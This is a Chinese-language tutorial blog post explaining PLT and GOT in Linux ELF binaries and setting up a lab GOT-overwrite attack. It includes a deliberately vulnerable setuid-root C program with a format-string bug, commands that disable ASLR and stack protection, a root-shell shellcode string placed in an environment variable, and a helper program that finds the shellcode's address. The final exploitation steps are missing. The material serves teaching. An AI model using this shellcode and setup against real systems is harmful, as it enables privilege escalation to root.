PLT , GOT 介紹及簡單 GOT 攻擊實驗

轉(zhuǎn)載修改自 http://blog.sina.com.cn/s/blog_70dd16910100r1gi.html

第一部分 過程連接表PLT

由于程序可以用共享庫的方式多次使用同一個函數(shù),所以通過一張表來定義所有的函數(shù)是非常有用的。為了能利用這種手段,在編譯程序會使用一個專用區(qū)域,這個區(qū)域稱為“過程連接表(PLT)”。
PLT有許多調(diào)轉(zhuǎn)指令構(gòu)成,每一個指令對應(yīng)一個函數(shù)地址的指針。PLT猶如一個跳板,每次需要調(diào)用某個函數(shù)時,控制權(quán)將由PLT傳遞。
例如下面的程序:

//got_vul.c
#include <stdio.h>
#include <string.h>
 
int bof(char *str)
{
char buffer[1024];
//The following statement has a buffer overflow problem
strncpy(buffer, str, sizeof(buffer)-1);
printf(buffer);
   exit(0);
}
 
 
int main(int argc, char **argv)
{
   bof(argv[1]);
   return 1;
}

我們利用下面的命令把它編譯成SetUID root程序:

#gcc -fno-stack-protector got_vul.c -g -o got_vul
#chmod 4755 got_vul

通過 $objdump –d –j .plt ./got_vul
我們可以查看PLT的具體內(nèi)容如下:

上面的這些指令中,我標(biāo)識的地址就是exit函數(shù)入口地址的指針。
看到這里,我們自然就會有一種想法:
如果退出函數(shù)使用的調(diào)轉(zhuǎn)指令指向我們的shellcode,那么我們就可以制造root shell漏洞了。
但是不幸的是,正如下圖所示PLT是只讀的;
因此無法改變它的轉(zhuǎn)移指針。

<font color=#8b0000 >但是上述調(diào)轉(zhuǎn)指針并不是直接指向某一指令,而是指向存放這個指令的內(nèi)存區(qū)域首地址。</font>
例如0x804a010指針指向存放exit函數(shù)所在的內(nèi)存區(qū)域。更重要的是這個區(qū)域是可寫的,這一區(qū)域就是下面所說的全局轉(zhuǎn)移表GOT。

第二部分 全局轉(zhuǎn)移表(GOT)

正如上面所討論的那樣,PLT中轉(zhuǎn)移函數(shù)的入口地址的指針存放在PLT表中(是只讀的),但是這些函數(shù)的入口地址卻是存放在另一個可寫區(qū)域,我們把這個區(qū)域稱為全局轉(zhuǎn)移表(GOT)。
利用objdump –R ./got_vul我們可以查看這些函數(shù)的轉(zhuǎn)移地址如下:

我們的想法:
把shellcode的地址放到環(huán)境變量中,并預(yù)知其實際地址。如果我們能在GOT表中用Shellcode的地址重0x0804a010所指向的區(qū)域,那么當(dāng)程序認(rèn)為正在調(diào)用exit函數(shù)時,實際上卻是在調(diào)用我們的shellcode。

第三部分 攻擊 GOT

我們的攻擊過程如下:

  • 第一步:關(guān)閉內(nèi)存地址隨機(jī)化機(jī)制
    sudo sysctl -w kernel.randomize_va_space
  • 第二步:編譯got_vul.c為set-UID root程序,編譯時加上編譯選項-fno-protector
  • 第三步:在環(huán)境變量中存放shellcode
export MyShell=$(perl -e 'print "\x90"x4800 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
  • 第四步:利用下面函數(shù)編譯的程序獲取Shellcode 地址
//getenvaaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
       char *ptr;
       if(argc < 3)
       {
              printf("Usage:%s<environment var> <target program name>\n",argv[0]);
              exit(0);
       }
       ptr = getenv(argv[1]);   
       ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
//argv[0]:正在執(zhí)行的程序名稱,本程序中:getenvaaddr
//argv[2]:即將執(zhí)行的漏洞程序的名稱(包括路徑),本程序中:./got_vul
//Linux ubuntu 系統(tǒng)中已經(jīng)驗證兩者名稱差一個字符,就會有兩個字節(jié)的地址偏移
       printf("%s will be at %p\n", argv[1], ptr);
       return 0;
}
  • 第五步:改寫GOT并進(jìn)行攻擊

獲取地址


進(jìn)行攻擊



參考文獻(xiàn):
Hacking: Chapter 0x300.EXPLOITATION.The Art of Exploitation, 2nd Edition ,by Jon Erickson.

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容